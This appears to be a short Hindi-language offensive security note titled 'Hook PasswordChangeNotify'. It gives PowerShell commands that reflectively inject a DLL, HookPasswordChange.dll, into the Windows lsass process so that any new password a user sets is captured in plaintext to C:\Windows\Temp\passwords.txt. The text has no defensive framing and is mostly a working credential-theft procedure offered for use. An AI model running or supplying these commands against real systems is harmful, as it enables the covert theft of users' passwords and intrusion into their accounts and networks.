
हुक PasswordChangeNotify
1、पावरशेल में निम्न कमांड चलाएँ:
Import-Module .\Invoke-ReflectivePEInjection.ps1
Invoke-ReflectivePEInjection -PEPath HookPasswordChange.dll -procname lsass
2、जब लक्ष्य मशीन का उपयोगकर्ता पासवर्ड बदलता है, तो नया पासवर्ड C:\Windows\Temp\passwords.txt पर लिखा जाएगा।